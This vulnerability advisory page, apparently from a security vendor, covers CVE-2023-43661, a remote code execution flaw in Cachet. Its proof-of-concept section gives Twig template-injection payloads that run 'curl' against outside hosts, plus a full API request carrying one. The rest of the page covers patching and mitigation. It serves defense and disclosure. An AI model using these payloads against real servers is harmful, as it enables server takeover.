CVE-2023-43661 is a critical-severity (CVSS 9.1) Code Injection vulnerability in cachethq/cachet. 1 public exploit reference exists, so weaponization risk is real. A fix is available for cachethq/cachet — see the affected versions and patch details below.
Cachet vulnerable to Authenticated Remote Code Execution
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2023-43661.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2023-43661 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,156 CVEs with a current EPSS score, this one falls in the 10–50% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
cachethq/cachetReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
A template functionality which allows users to create templates allows them to execute any code on the server during the bad filtration and old twig version. Within /cachet/app/Http/Routes/ApiRoutes.php, and attacker could control template input which is passed to laravel's dispatched handler /cachet/app/Bus/Handlers/Commands/Incident/CreateIncidentCommandHandler.php. If an attacker is able to control this data, they may be able to trigger a server-side template injection vulnerability which can lead to remote code execution.
This vulnerability does not exist within the Twig library itself, but exists during the process of the Cachet processing of the data without any filtration. This has been patched in Cachet version 2.4.
PoC
- Log in as a default user (non-admin);
- Create an incident with name
slug1and with content:{{ ['curl yourhost.com','']|sort('system') }}or with any other content forRemote code executionvia theTwig, for instance:{{[0]|reduce('system','curl yourhost.com')}}; - Get an
APItoken from your account settings (X-Cachet-Token); - Trigger remote code execution using the
apiroute:
POST /api/v1/incidents HTTP/1.1
Host: myapp
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: XSRF-TOKEN=eyJpdiI6InZUVVpkRmx1VFlhcytVQkQ1Zk81b1E9PSIsInZhbHVlIjoiSlE0Tmt1cjVoRHFSOHBIR3RoYlAwS0dNZlVHbm02d0tWVW1ERVRvblZTTW1TMHV2MFJUYTNwQWQyZ3pQM1VlMyIsIm1hYyI6IjU4YzAxZjgyYWE4YTU4MTExMDQ3OGRhOTNlYThlZTYxMzI5YzBhMWVhM2RjYzA2ODgzMGVhMGQ5Njg2YTMyMjkifQ%3D%3D; laravel_session=eyJpdiI6IldZcHhMSjBYRmQzUXdGTTRQbGFQTWc9PSIsInZhbHVlIjoiSkRxWncxdWs3Y29ZcXVHMlJ0U2pVVVwvMGdvSUJNK2pEMnhsR2QzVnE1MmMxMWJxUm96K1VnalwvS1pYcXE2cGllIiwibWFjIjoiMDM0MGIxNjRlM2VhOGU5Mzg2OWVkYjZjNmJhY2JlMTE3OTdkMDRkZTQ1NzI5NTMzNzI4YjA5YTcwNzM2M2E5YyJ9
Connection: close
X-Cachet-Token: OeiLJ6G6kjsBXeyOo97z
Content-Length: 109
Content-type: application/json
{"template":"slug1", "name":"{{ ['curl pwned.riven.pw','']|sort('system') }}", "status":2, "visible":1}
- Obtain remote code execution. An attacker could also upload a web-shell using some base64 tricks with pipe to bash.
Impact
Server-side template injection is when an attacker is able to use native template syntax to inject a malicious payload into a template, which is then executed server-side. Template engines are designed to generate web pages by combining fixed templates with volatile data. Server-side template injection attacks can occur when user input is concatenated directly into a template, rather than passed in as data. This allows attackers to inject arbitrary template directives in order to manipulate the template engine, often enabling them to take complete control of the server. As the name suggests, server-side template injection payloads are delivered and evaluated server-side, potentially making them more dangerous than a typical client-side template injection.
Mitigation
- Update
TWIGto the latest version; - Filter user-controlled data by any safe pattern;
- Use
sandboxedtwigmode; - Don't allow users (non-admins) to trigger this vulnerability via the
APIendpoint.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | cachethq/cachet | all versions | 2.4composer require cachethq/cachet:^2.4 |
Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for cachethq/cachet, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update cachethq/cachet to 2.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2023-43661 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2023-43661 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2023-43661. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2023-43661 in your dependencies?
O3 Security finds CVE-2023-43661 across Packagist dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.